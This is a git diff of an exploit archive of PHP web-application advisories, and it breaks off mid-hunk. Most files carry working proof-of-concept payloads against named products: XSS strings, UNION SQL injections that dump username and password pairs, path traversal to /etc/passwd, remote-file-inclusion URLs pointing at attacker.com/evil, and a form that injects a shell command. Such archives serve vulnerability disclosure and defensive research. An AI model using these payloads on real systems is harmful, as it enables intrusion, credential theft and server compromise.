a/platforms/php/webapps/33469.txt +++ b/platforms/php/webapps/33469.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br LXR Cross Referencer 0.9.5 and 0.9.6 are affected; other versions may also be vulnerable. -http://www.example.com/lxr/ident?i=<script>alert('XSS')</script> \ No newline at end of file +http://www.example.com/lxr/ident?i=<script>alert('XSS')</script> \ No newline at end of file diff --git a/platforms/php/webapps/33470.txt b/platforms/php/webapps/33470.txt index cd9723a88..d0108c534 100755 --- a/platforms/php/webapps/33470.txt +++ b/platforms/php/webapps/33470.txt @@ -12,4 +12,4 @@ LineWeb 1.0.5 is vulnerable; other versions may also be affected. http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/index.php?op=index.php?op=../../../../../../../etc/passwd%00 http://www.example.com/Lineage ACM/lineweb_1.0.5/index.php?op=index.php?op=../../../../../../../etc/passwd%00 -http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/edit_news.php?newsid=%27 \ No newline at end of file +http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/edit_news.php?newsid=%27 \ No newline at end of file diff --git a/platforms/php/webapps/33473.txt b/platforms/php/webapps/33473.txt index 60c2b9c83..ac28ad9e3 100755 --- a/platforms/php/webapps/33473.txt +++ b/platforms/php/webapps/33473.txt @@ -4,4 +4,4 @@ RoundCube Webmail is prone to a cross-site scripting vulnerability because it fa An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/program/steps/error.inc?ERROR_CODE=601&ERROR_MESSAGE=123 \ No newline at end of file +http://www.example.com/program/steps/error.inc?ERROR_CODE=601&ERROR_MESSAGE=123 \ No newline at end of file diff --git a/platforms/php/webapps/33474.txt b/platforms/php/webapps/33474.txt index 1793cef00..6d5e97748 100755 --- a/platforms/php/webapps/33474.txt +++ b/platforms/php/webapps/33474.txt @@ -4,4 +4,4 @@ The DM Orders component for Joomla! is prone to an SQL-injection vulnerability b Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_dm_orders&task=order_form&payment_method=Paypal&id=-1+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9+from+jos_users--&Itemid=1 \ No newline at end of file +http://www.example.com/index.php?option=com_dm_orders&task=order_form&payment_method=Paypal&id=-1+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9+from+jos_users--&Itemid=1 \ No newline at end of file diff --git a/platforms/php/webapps/33477.txt b/platforms/php/webapps/33477.txt index 73c47e003..450f6fa12 100755 --- a/platforms/php/webapps/33477.txt +++ b/platforms/php/webapps/33477.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin Calendarix 0.7 is vulnerable; other versions may also be affected. -http://www.example.com/cal_config.inc.php?calpath= EVIL SITE??? \ No newline at end of file +http://www.example.com/cal_config.inc.php?calpath= EVIL SITE??? \ No newline at end of file diff --git a/platforms/php/webapps/33478.txt b/platforms/php/webapps/33478.txt index 40876dafb..f07e562b2 100755 --- a/platforms/php/webapps/33478.txt +++ b/platforms/php/webapps/33478.txt @@ -4,4 +4,4 @@ The Jobads component for Joomla! is prone to an SQL-injection vulnerability beca Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_jobads&task=view&type=-999+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+mos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_jobads&task=view&type=-999+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+mos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/3348.txt b/platforms/php/webapps/3348.txt index b8eaa7d33..fd5f35e1e 100755 --- a/platforms/php/webapps/3348.txt +++ b/platforms/php/webapps/3348.txt @@ -63,8 +63,8 @@ When register_globals=on and allow_fopenurl=on an attacker can exploit this vuln Poc/Exploit: ~~~~~~~~~~ -http://server/sendstudio/admin/includes/createemails.inc.php?ROOTDIR=http://attacker.com/evil? -http://server/sendstudio/admin/includes/send_emails.inc.php?ROOTDIR=http://attacker.com/evil? +http://www.target.com/sendstudio/admin/includes/createemails.inc.php?ROOTDIR=http://attacker.com/evil? +http://www.target.com/sendstudio/admin/includes/send_emails.inc.php?ROOTDIR=http://attacker.com/evil? Solution: diff --git a/platforms/php/webapps/33482.txt b/platforms/php/webapps/33482.txt index f0fbaf7e5..2a2417375 100755 --- a/platforms/php/webapps/33482.txt +++ b/platforms/php/webapps/33482.txt @@ -4,4 +4,4 @@ DigitalHive is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/base.php?page=membres.php&mt=[Xss Vuln] \ No newline at end of file +http://www.example.com/base.php?page=membres.php&mt=[Xss Vuln] \ No newline at end of file diff --git a/platforms/php/webapps/33505.txt b/platforms/php/webapps/33505.txt index b315f95d6..f662b59fb 100755 --- a/platforms/php/webapps/33505.txt +++ b/platforms/php/webapps/33505.txt @@ -8,4 +8,4 @@ Docmint 1.0 is vulnerable; versions 2.1 and higher are also vulnerable; other ve http://www.example.com/index.php?id='"><script>alert(document.cookie)</script> http://www.example.com/index.php?id=<marquee><font color=Red size=16>Th3 RDX/font></marquee> -http://www.example.com/index.php?id=<HTML><HEAD><TITLE>Redirect...</TITLE><META HTTP-EQUIV="REFRESH" CONTENT="0; URL=http://www.inj3ct0r.com"></HEAD><BODY>Redirect in corso...</BODY></HTML> \ No newline at end of file +http://www.example.com/index.php?id=<HTML><HEAD><TITLE>Redirect...</TITLE><META HTTP-EQUIV="REFRESH" CONTENT="0; URL=http://www.inj3ct0r.com"></HEAD><BODY>Redirect in corso...</BODY></HTML> \ No newline at end of file diff --git a/platforms/php/webapps/33509.txt b/platforms/php/webapps/33509.txt index 7303e9641..53ae0b97b 100755 --- a/platforms/php/webapps/33509.txt +++ b/platforms/php/webapps/33509.txt @@ -4,4 +4,4 @@ The Joomla! 'com_artistavenue' component is prone to a cross-site scripting vuln An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php?option=com_tienda&task=verproducto&categoria=[XSS] \ No newline at end of file +http://www.example.com/index.php?option=com_tienda&task=verproducto&categoria=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/33510.txt b/platforms/php/webapps/33510.txt index 720b214f6..00a6a679f 100755 --- a/platforms/php/webapps/33510.txt +++ b/platforms/php/webapps/33510.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The following example URI is available: -http://www.example.com/forum.php?action=liste&cat=[Xss Vuln] \ No newline at end of file +http://www.example.com/forum.php?action=liste&cat=[Xss Vuln] \ No newline at end of file diff --git a/platforms/php/webapps/33528.txt b/platforms/php/webapps/33528.txt index 62f5f40cd..d34a84d83 100755 --- a/platforms/php/webapps/33528.txt +++ b/platforms/php/webapps/33528.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Xforum 1.4; other versions may also be vulnerable. -http://www.example.com/forum/liste.php?categorie=1&nbpage=1&nbpageliste=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file +http://www.example.com/forum/liste.php?categorie=1&nbpage=1&nbpageliste=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/33529.txt b/platforms/php/webapps/33529.txt index 4ffd6b4bf..64ade4420 100755 --- a/platforms/php/webapps/33529.txt +++ b/platforms/php/webapps/33529.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects com_marketplace 1.2; other versions may also be affected. -http://www.example.com/index.php?option=com_marketplace&page=show_category&catid=%22%3E%3Cscript%3Ealert(1);%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?option=com_marketplace&page=show_category&catid=%22%3E%3Cscript%3Ealert(1);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/3353.txt b/platforms/php/webapps/3353.txt index ea15bb8e4..ef25abe85 100755 --- a/platforms/php/webapps/3353.txt +++ b/platforms/php/webapps/3353.txt @@ -21,14 +21,14 @@ includes/values.php require_once $donsimg_base_path ************************************************************************************** RFI: -http://server/path/admin/attributes.php?donsimg_base_path=[SHELL] -http://server/path/admin/images.php?donsimg_base_path=[SHELL] -http://server/path/admin/scan.php?donsimg_base_path=[SHELL] -http://server/path/includes/attributes.php?donsimg_base_path=[SHELL] -http://server/path/includes/db_utils.php?donsimg_base_path=[SHELL] -http://server/path/includes/images.php?donsimg_base_path=[SHELL] -http://server/path/includes/utils.php?donsimg_base_path=[SHELL] -http://server/path/includes/values.php?donsimg_base_path=[SHELL] +http://SITE.com/path/admin/attributes.php?donsimg_base_path=[SHELL] +http://SITE.com/path/admin/images.php?donsimg_base_path=[SHELL] +http://SITE.com/path/admin/scan.php?donsimg_base_path=[SHELL] +http://SITE.com/path/includes/attributes.php?donsimg_base_path=[SHELL] +http://SITE.com/path/includes/db_utils.php?donsimg_base_path=[SHELL] +http://SITE.com/path/includes/images.php?donsimg_base_path=[SHELL] +http://SITE.com/path/includes/utils.php?donsimg_base_path=[SHELL] +http://SITE.com/path/includes/values.php?donsimg_base_path=[SHELL] ************************************************************************************** diff --git a/platforms/php/webapps/33530.txt b/platforms/php/webapps/33530.txt index 498ac0e96..72b6b1204 100755 --- a/platforms/php/webapps/33530.txt +++ b/platforms/php/webapps/33530.txt @@ -7,4 +7,4 @@ Exploiting this issue may allow an attacker to compromise the application and th LetoDMS 1.7.2 is vulnerable; other versions may also be affected. -GET /mydms/op/op.Login.php?login=guest&sesstheme=&lang=../../../../boot.ini%00&sesstheme= HTTP/1.1 \ No newline at end of file +GET /mydms/op/op.Login.php?login=guest&sesstheme=&lang=../../../../boot.ini%00&sesstheme= HTTP/1.1 \ No newline at end of file diff --git a/platforms/php/webapps/3354.txt b/platforms/php/webapps/3354.txt index d6fe3f952..6a0d08c59 100755 --- a/platforms/php/webapps/3354.txt +++ b/platforms/php/webapps/3354.txt @@ -16,9 +16,9 @@ includes/views.php require_once $dbs_base_path ************************************************************************************** RFI: -http://server/path/includes/utils.php?dbs_base_path=[SHELL] -http://server/path/includes/guestbook.php?dbs_base_path=[SHELL] -http://server/path/includes/views.php?dbs_base_path=[SHELL] +http://SITE.com/path/includes/utils.php?dbs_base_path=[SHELL] +http://SITE.com/path/includes/guestbook.php?dbs_base_path=[SHELL] +http://SITE.com/path/includes/views.php?dbs_base_path=[SHELL] ************************************************************************************** diff --git a/platforms/php/webapps/33544.txt b/platforms/php/webapps/33544.txt index bcdfdabf8..dc1297b8e 100755 --- a/platforms/php/webapps/33544.txt +++ b/platforms/php/webapps/33544.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and Datalife Engine 8.3 is vulnerable; other versions may also be affected. -http://www.example.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://www.example2.com \ No newline at end of file +http://www.example.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/33546.txt b/platforms/php/webapps/33546.txt index 4e7bd8901..b395dbe4d 100755 --- a/platforms/php/webapps/33546.txt +++ b/platforms/php/webapps/33546.txt @@ -4,4 +4,4 @@ EasySiteNetwork Jokes Complete Website is prone to multiple cross-site scripting An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/Jokes/results.php?searchingred=<img+src=http://www.example.com/cars.jpg+onload=alert(213771818860)> \ No newline at end of file +http://www.example.com/Jokes/results.php?searchingred=<img+src=http://www.example.com/cars.jpg+onload=alert(213771818860)> \ No newline at end of file diff --git a/platforms/php/webapps/33548.txt b/platforms/php/webapps/33548.txt index 990742e8f..c3a948d60 100755 --- a/platforms/php/webapps/33548.txt +++ b/platforms/php/webapps/33548.txt @@ -9,4 +9,4 @@ The issues affect THELIA 1.4.2.1; other versions may also be affected. http://www.example.com/panier.php?action=ajouter&ref="> http://www.example.com/produit.php?ref=%22%3E%3Cscript%3Ealert%28/xss/.source%29;%3C/script%3E&id_rubrique=1 -http://www.example.com/rss.php?ref=">&id_rubrique= \ No newline at end of file +http://www.example.com/rss.php?ref=">&id_rubrique= \ No newline at end of file diff --git a/platforms/php/webapps/33550.txt b/platforms/php/webapps/33550.txt index 0505cc725..cdd75f5cf 100755 --- a/platforms/php/webapps/33550.txt +++ b/platforms/php/webapps/33550.txt @@ -8,4 +8,4 @@ ezContents 2.0.3 is vulnerable; other versions may also be affected. The following example data is available: -login page: admin' AND IF(@Condition,BENCHMARK(1000000, md5(10)),2) OR '1'='1 \ No newline at end of file +login page: admin' AND IF(@Condition,BENCHMARK(1000000, md5(10)),2) OR '1'='1 \ No newline at end of file diff --git a/platforms/php/webapps/33551.txt b/platforms/php/webapps/33551.txt index bd1a063ed..2d7dec31f 100755 --- a/platforms/php/webapps/33551.txt +++ b/platforms/php/webapps/33551.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc PHPMySpace Gold 8.0 is vulnerable; other versions may also be affected. -http://www.example.com/modules/arcade/index.php?act=play_game&gid=-1+UNION+SELECT+1,2,3,user(),5%23 \ No newline at end of file +http://www.example.com/modules/arcade/index.php?act=play_game&gid=-1+UNION+SELECT+1,2,3,user(),5%23 \ No newline at end of file diff --git a/platforms/php/webapps/33561.txt b/platforms/php/webapps/33561.txt index c59ebcb63..43cd54c80 100755 --- a/platforms/php/webapps/33561.txt +++ b/platforms/php/webapps/33561.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc OpenX 2.6.1 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?q=shopping/neighborhood/45+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- \ No newline at end of file +http://www.example.com/index.php?q=shopping/neighborhood/45+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- \ No newline at end of file diff --git a/platforms/php/webapps/33565.txt b/platforms/php/webapps/33565.txt index 0ec723a65..5b5d802ea 100755 --- a/platforms/php/webapps/33565.txt +++ b/platforms/php/webapps/33565.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PunBB 1.3 is vulnerable; other versions may also be affected. -http://www.example.com/forum/viewtopic.php?pid=[Xss] \ No newline at end of file +http://www.example.com/forum/viewtopic.php?pid=[Xss] \ No newline at end of file diff --git a/platforms/php/webapps/33574.txt b/platforms/php/webapps/33574.txt index 8bb9752b1..8045d6908 100755 --- a/platforms/php/webapps/33574.txt +++ b/platforms/php/webapps/33574.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Discuz! 6.0.0 is vulnerable; other versions may also be affected. -http://www.example.com/bbs/viewthread.php?tid=">><script>alert(HACKED BY FATAL ERROR)</script><marquee><h1>XSS By Fatal Error</h1></marquee> \ No newline at end of file +http://www.example.com/bbs/viewthread.php?tid=">><script>alert(HACKED BY FATAL ERROR)</script><marquee><h1>XSS By Fatal Error</h1></marquee> \ No newline at end of file diff --git a/platforms/php/webapps/33582.txt b/platforms/php/webapps/33582.txt index 6b6404abf..35faad773 100755 --- a/platforms/php/webapps/33582.txt +++ b/platforms/php/webapps/33582.txt @@ -4,4 +4,4 @@ The 'com_rsgallery2' component for Joomla! is prone to an SQL-injection vulnerab Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_rsgallery2&page=inline&id=5&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13+from+jos_users-- \ No newline at end of file +http://www.example.com/index.php?option=com_rsgallery2&page=inline&id=5&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13+from+jos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/33586.txt b/platforms/php/webapps/33586.txt index 0db1aae48..1252866b9 100755 --- a/platforms/php/webapps/33586.txt +++ b/platforms/php/webapps/33586.txt @@ -4,4 +4,4 @@ The 'com_gambling' component for Joomla! is prone to an SQL-injection vulnerabil Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_gambling&Itemid=64&task=showGame&gamblingSid=10&gamblingEvent=[Exploit] \ No newline at end of file +http://www.example.com/index.php?option=com_gambling&Itemid=64&task=showGame&gamblingSid=10&gamblingEvent=[Exploit] \ No newline at end of file diff --git a/platforms/php/webapps/33590.txt b/platforms/php/webapps/33590.txt index f021916f2..580804856 100755 --- a/platforms/php/webapps/33590.txt +++ b/platforms/php/webapps/33590.txt @@ -6,4 +6,4 @@ Exploiting the issue may allow an attacker to obtain sensitive information that NOTE: Successful exploitation requires having 'Public Back-end' group credentials. -http://www.example.com/administrator/index.php?option=com_autartitarot&task=edit&cid[]=38&controller=[DT] \ No newline at end of file +http://www.example.com/administrator/index.php?option=com_autartitarot&task=edit&cid[]=38&controller=[DT] \ No newline at end of file diff --git a/platforms/php/webapps/33595.txt b/platforms/php/webapps/33595.txt index 7cd4854f3..68c7292a6 100755 --- a/platforms/php/webapps/33595.txt +++ b/platforms/php/webapps/33595.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to obtain sensitive information, Interspire Knowledge Manager 5.1.3 and prior versions are vulnerable. -http://www.example.com/admin/de/colormenu.php?sp=f";[xss];a=" \ No newline at end of file +http://www.example.com/admin/de/colormenu.php?sp=f";[xss];a=" \ No newline at end of file diff --git a/platforms/php/webapps/33597.txt b/platforms/php/webapps/33597.txt index 7d346f5f4..53882ec6b 100755 --- a/platforms/php/webapps/33597.txt +++ b/platforms/php/webapps/33597.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Data 1 Systems UltraBB 1.17 is vulnerable; other versions may also be affected. -http://www.example.com/view_post.php?post_id==">><script></script><marquee><h1>XSS By Fatal Error</h1></marquee> \ No newline at end of file +http://www.example.com/view_post.php?post_id==">><script></script><marquee><h1>XSS By Fatal Error</h1></marquee> \ No newline at end of file diff --git a/platforms/php/webapps/3360.txt b/platforms/php/webapps/3360.txt index 51456cd9d..c658c985a 100755 --- a/platforms/php/webapps/3360.txt +++ b/platforms/php/webapps/3360.txt @@ -1,4 +1,4 @@ -___ ___ + ___ ___ _____ / | \ ___________ ______ _ __ \__ \ / ~ \ ______ _/ ___\_ __ \_/ __ \ \/ \/ / / __ \\ Y / /_____/ \ \___| | \/\ ___/\ / @@ -34,7 +34,7 @@ at index.php line 28: $func =$_GET[func]; --------------- Exploit: -http://www.someserver/index.php?func=http://attacker.com/evil_script? +http://www.somesite.com/index.php?func=http://attacker.com/evil_script? --------------- diff --git a/platforms/php/webapps/33602.txt b/platforms/php/webapps/33602.txt index 3ac152911..7bcdb8d0d 100755 --- a/platforms/php/webapps/33602.txt +++ b/platforms/php/webapps/33602.txt @@ -8,4 +8,4 @@ Versions prior to evalSMSI 2.2.00 are vulnerable. http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20login,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22 -http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20password,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22 \ No newline at end of file +http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20password,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22 \ No newline at end of file diff --git a/platforms/php/webapps/33603.html b/platforms/php/webapps/33603.html index 03843b1ad..d830b895d 100755 --- a/platforms/php/webapps/33603.html +++ b/platforms/php/webapps/33603.html @@ -6,4 +6,4 @@ An attacker can exploit the cross-site request forgery issue to alter the settin The attacker can exploit the cross-site scripting issue to execute arbitrary script code in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials. Other attacks are also possible. -<html> <head><title>LANDesk PoC</title></head> <body> <form method="post" action="https://www.example.com/gsb/datetime.php"> <input type="text" name="delBackupName" value="; touch /tmp/ATTACKED"> <input type="text" name="backupRestoreFormSubmitted" value="b"> <input type="submit" value="Attack!"> </form> </body> </html> \ No newline at end of file +<html> <head><title>LANDesk PoC</title></head> <body> <form method="post" action="https://www.example.com/gsb/datetime.php"> <input type="text" name="delBackupName" value="; touch /tmp/ATTACKED"> <input type="text" name="backupRestoreFormSubmitted" value="b"> <input type="submit" value="Attack!"> </form> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/33606.txt b/platforms/php/webapps/33606.txt index 401248034..9d1d6ad09 100755 --- a/platforms/php/webapps/33606.txt +++ b/platforms/php/webapps/33606.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a http://www.example.com/?_action=editProducts&categoryID=[SQLI] http://www.example.com/?_action=showProducts&categoryID=[SQLI]&id=shop http://www.example.com/?_action=showProductDetails&productID=[SQLI]&categoryID=1310&id=shop -http://www.example.com/?_action=showProductDetails&productID=22095&categoryID=[SQLI]&id=shop \ No newline at end of file +http://www.example.com/?_action=showProductDetails&productID=22095&categoryID=[SQLI]&id=shop \ No newline at end of file diff --git a/platforms/php/webapps/3361.txt b/platforms/php/webapps/3361.txt index 4da329fa4..7fcfa19d3 100755 --- a/platforms/php/webapps/3361.txt +++ b/platforms/php/webapps/3361.txt @@ -10,8 +10,8 @@ include_once($path_to_smf."Sources/Subs-Auth.php"); get_session_vars.php:- require_once($path_to_smf."SSI.php"); ******************************************************************************** -ExPlOiT:-http://server/bridges/SMF/logout.php?path_to_smf=[Shell] -ExPlOiT:-http://server/get_session_vars.php?path_to_smf=[Shell] +ExPlOiT:-http://www.SitE.com/bridges/SMF/logout.php?path_to_smf=[Shell] +ExPlOiT:-http://www.SitE.com/get_session_vars.php?path_to_smf=[Shell] ******************************************************************************** # milw0rm.com [2007-02-22] diff --git a/platforms/php/webapps/33617.txt b/platforms/php/webapps/33617.txt index 9f57ef302..342bb4882 100755 --- a/platforms/php/webapps/33617.txt +++ b/platforms/php/webapps/33617.txt @@ -11,4 +11,4 @@ The following proof of concept is available: http://www.example.com/admincp username = 'or 33=33/* -Password = Security War \ No newline at end of file +Password = Security War \ No newline at end of file diff --git a/platforms/php/webapps/33618.txt b/platforms/php/webapps/33618.txt index 01dce7947..7d8e77af9 100755 --- a/platforms/php/webapps/33618.txt +++ b/platforms/php/webapps/33618.txt @@ -9,4 +9,4 @@ Zen Time Tracking 2.2 is vulnerable; other versions may also be affected. [ZenTracking_path]/managerlogin.php username: ' or' 1=1 -Password: ' or' 1=1 \ No newline at end of file +Password: ' or' 1=1 \ No newline at end of file diff --git a/platforms/php/webapps/33619.txt b/platforms/php/webapps/33619.txt index ff6c74e28..c1824d3a5 100755 --- a/platforms/php/webapps/33619.txt +++ b/platforms/php/webapps/33619.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow VideoDB 3.0.3 is vulnerable; other versions may also be affected. -http://www.example.com/videodb/login.php?error=%3Cscript%3Ealert%20%28%27XSS%27%29%3C/script%3E \ No newline at end of file +http://www.example.com/videodb/login.php?error=%3Cscript%3Ealert%20%28%27XSS%27%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/33621.txt b/platforms/php/webapps/33621.txt index 8574bf50b..628999478 100755 --- a/platforms/php/webapps/33621.txt +++ b/platforms/php/webapps/33621.txt @@ -4,4 +4,4 @@ The vBulletin Adsense component is prone to an SQL-injection vulnerability becau Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/vb/viewpage.php?do=show&id=-1%20union%20select%200,2,3-- \ No newline at end of file +http://www.example.com/vb/viewpage.php?do=show&id=-1%20union%20select%200,2,3-- \ No newline at end of file diff --git a/platforms/php/webapps/33634.txt b/platforms/php/webapps/33634.txt index 9d505107f..3efc96744 100755 --- a/platforms/php/webapps/33634.txt +++ b/platforms/php/webapps/33634.txt @@ -4,4 +4,4 @@ CommodityRentals CD Rental Software is prone to an SQL-injection vulnerability b Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?view=catalog&item_type=M&cat_id=3+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0Ã?3a,admin_password),3,4+from+rental_adminâ?? \ No newline at end of file +http://www.example.com/index.php?view=catalog&item_type=M&cat_id=3+AND+1=2+UNION+SELECT+0,1,concat(admin_name,0Ã?3a,admin_password),3,4+from+rental_adminâ?? \ No newline at end of file diff --git a/platforms/php/webapps/33636.sh b/platforms/php/webapps/33636.sh index 9bc9da6ca..8f621bcec 100755 --- a/platforms/php/webapps/33636.sh +++ b/platforms/php/webapps/33636.sh @@ -9,7 +9,7 @@ Knowledge Manager 5.1.3 is vulnerable; other versions may also be affected. # #!/bin/sh # echo "$0 <target_url> <relative_path_from_admin_dir> <file_name> <content_url> -# example: $0 http://server/knowledge_base ../../../ file.php +# example: $0 http://target.com/knowledge_base ../../../ file.php http://source # if kb is installed at knowledge_base, then the file: file.php will be # created in the base application directory from the content at @@ -25,4 +25,4 @@ http://source # echo "upload content from: $4 ..." # wget -O r3 --keep-session-cookies --load-cookies tmp.cookies "$uploadUrl?action=step2&source_image=name&save_file_as=$3&snipshot_output=$4" -# echo "file created test access to the script at: $1/admin/de/dialog/$2$3"; \ No newline at end of file +# echo "file created test access to the script at: $1/admin/de/dialog/$2$3"; \ No newline at end of file diff --git a/platforms/php/webapps/33638.txt b/platforms/php/webapps/33638.txt index 2cb41805c..624d961c8 100755 --- a/platforms/php/webapps/33638.txt +++ b/platforms/php/webapps/33638.txt @@ -10,4 +10,4 @@ Webee 1.1.1 is vulnerable to all these issues. Webee 1.2 is reportedly affected [color=red;xss:expression(window.r?0:(alert(String.fromCharCode(88,83,83)),window.r=1))]XSS[/color] [img]http://foo.com/fake.png"/onerror="alert(String.fromCharCode(88,83,83))[/img] -[url="/onmouseover="alert(String.fromCharCode(88,83,83))]XSS[/url] \ No newline at end of file +[url="/onmouseover="alert(String.fromCharCode(88,83,83))]XSS[/url] \ No newline at end of file diff --git a/platforms/php/webapps/33641.txt b/platforms/php/webapps/33641.txt index 33ea479c2..3cd406a39 100755 --- a/platforms/php/webapps/33641.txt +++ b/platforms/php/webapps/33641.txt @@ -10,4 +10,4 @@ F!BB 1.96 is vulnerable; other versions may also be affected. The following proof-of-concept URI and data are available: -http://www.example.com/index.php?option=com_fbb&func=advsearch&q=&exactname=1&childforums=1&limitstart=0&searchuser=%' AND SUBSTRING(@@version,1,1)=5 -- \ No newline at end of file +http://www.example.com/index.php?option=com_fbb&func=advsearch&q=&exactname=1&childforums=1&limitstart=0&searchuser=%' AND SUBSTRING(@@version,1,1)=5 -- \ No newline at end of file diff --git a/platforms/php/webapps/33643.txt b/platforms/php/webapps/33643.txt index 623d9b644..b8cef0177 100755 --- a/platforms/php/webapps/33643.txt +++ b/platforms/php/webapps/33643.txt @@ -9,4 +9,4 @@ The attacker may leverage the cross-site scripting issue to execute arbitrary sc CMS Made Simple 1.6.6 is affected; other versions may also be vulnerable. http://www.example.com/cmsmadesimple/index.php?page=tags-in-the-core&showtemplate=false"><script>alert('XSS')</script> -http://www.example.com/cmsmadesimple/index.php?mact=News%2ccntnt01%2c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5cboot.ini%00%2c0&cntnt01articleid=1&cntnt01showtemplate=false&cntnt01returnid=39 \ No newline at end of file +http://www.example.com/cmsmadesimple/index.php?mact=News%2ccntnt01%2c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5cboot.ini%00%2c0&cntnt01articleid=1&cntnt01showtemplate=false&cntnt01returnid=39 \ No newline at end of file diff --git a/platforms/php/webapps/33644.txt b/platforms/php/webapps/33644.txt index 940deb83d..42e133201 100755 --- a/platforms/php/webapps/33644.txt +++ b/platforms/php/webapps/33644.txt @@ -4,4 +4,4 @@ Basic-CMS is prone to a cross-site scripting vulnerability because it fails to p An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/pages/index.php?&nav_id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file +http://www.example.com/pages/index.php?&nav_id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/33646.txt b/platforms/php/webapps/33646.txt index 847fd184e..7780fc336 100755 --- a/platforms/php/webapps/33646.txt +++ b/platforms/php/webapps/33646.txt @@ -10,4 +10,4 @@ The following example commands are available: " onmouseover="alert(String.fromCharCode(88,83,83)) -" style="color:expression(alert(String.fromCharCode(88,83,83))) \ No newline at end of file +" style="color:expression(alert(String.fromCharCode(88,83,83))) \ No newline at end of file diff --git a/platforms/php/webapps/33649.txt b/platforms/php/webapps/33649.txt index 812323747..01eeeaa80 100755 --- 